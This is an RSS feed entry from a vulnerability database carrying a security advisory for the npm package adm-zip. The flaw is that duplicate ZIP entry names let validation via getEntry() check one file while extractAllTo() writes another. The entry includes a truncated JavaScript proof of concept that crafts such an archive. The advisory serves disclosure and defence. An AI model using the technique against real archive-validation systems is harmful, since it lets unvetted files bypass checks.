<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 22 Oct 2026 03:28:43 +0000</lastBuildDate>
    <item>
      <title>GHSA-p634-w6r4-rjp2 — adm-zip: Duplicate ZIP entry names: getEntry() and extractAllTo() resolve to different content</title>
      <link>https://db.gcve.eu/vuln/ghsa-p634-w6r4-rjp2</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: adm-zip&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. `getEntry(name)` and `extractAllTo()` walk these two different internal structures, so they can each resolve a duplicate name to a *different* entry. An application that validates a named entry&amp;#39;s contents via `getEntry()` before trusting an archive, then extracts the whole archive, can end up approving one file&amp;#39;s content while a different file&amp;#39;s bytes are what actually land on disk under that name.&lt;/p&gt;
&lt;p&gt;### Details
- `zipFile.js:58-83` retains both entries in `entryList` but overwrites `entryTable[name]` with only the last one written.
- `adm-zip.js:83-95,658-663` uses `entryTable` for `getEntry()` lookups — returns the *last* duplicate.
- `adm-zip.js:769-914` iterates `entryList` for extraction — writes the *first* duplicate (sync, default overwrite policy).&lt;/p&gt;
&lt;p&gt;### PoC
```js
const AdmZip = require(&amp;#39;adm-zip&amp;#39;);
const z = new AdmZip({ noSort: true });
z.addFile(&amp;#39;a.txt&amp;#39;, Buffer.from(&amp;#39;FIRST&amp;#39;));
z.addFile(&amp;#39;b.txt&amp;#39;, Buffer.from(&amp;#39;SECOND&amp;#39;));
const raw = Buffer.from(z.toBuffer());
// rename the a.txt entry to b.txt directly in the raw bytes
for (let at = raw.indexOf(&amp;#39;a.txt&amp;#39;); at &amp;gt;= 0; at = raw.indexOf(&amp;#39;a.txt&amp;#39;, at + 5)) {
  raw.write(&amp;#39;b.txt&amp;#39;, at);
}
const parsed = new AdmZip(raw, { noSort: true });
const validated = parsed.getEntry(&amp;#39;b.txt&amp;#39;).getData().toString();
parsed.extractAllTo(outDir, false);
// validated ==…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: adm-zip&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. `getEntry(name)` and `extractAllTo()` walk these two different internal structures, so they can each resolve a duplicate name to a *different* entry. An application that validates a named entry&amp;#39;s contents via `getEntry()` before trusting an archive, then extracts the whole archive, can end up approving one file&amp;#39;s content while a different file&amp;#39;s bytes are what actually land on disk under that name.&lt;/p&gt;
&lt;p&gt;### Details
- `zipFile.js:58-83` retains both entries in `entryList` but overwrites `entryTable[name]` with only the last one written.
- `adm-zip.js:83-95,658-663` uses `entryTable` for `getEntry()` lookups — returns the *last* duplicate.
- `adm-zip.js:769-914` iterates `entryList` for extraction — writes the *first* duplicate (sync, default overwrite policy).&lt;/p&gt;
&lt;p&gt;### PoC
```js
const AdmZip = require(&amp;#39;adm-zip&amp;#39;);
const z = new AdmZip({ noSort: true });
z.addFile(&amp;#39;a.txt&amp;#39;, Buffer.from(&amp;#39;FIRST&amp;#39;));
z.addFile(&amp;#39;b.txt&amp;#39;, Buffer.from(&amp;#39;SECOND&amp;#39;));
const raw = Buffer.from(z.toBuffer());
// rename the a.txt entry to b.txt directly in the raw bytes
for (let at = raw.indexOf(&amp;#39;a.txt&amp;#39;); at &amp;gt;= 0; at = raw.indexOf(&amp;#39;a.txt&amp;#39;, at + 5)) {
  raw.write(&amp;#39;b.txt&amp;#39;, at);
}
const parsed = new AdmZip(raw, { noSort: true });
const validated = parsed.getEntry(&amp;#39;b.txt&amp;#39;).getData().toString();
parsed.extractAllTo(outDir, false);
// validated ==…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-p634-w6r4-rjp2</guid>
    </item>
  </channel>
</rss>
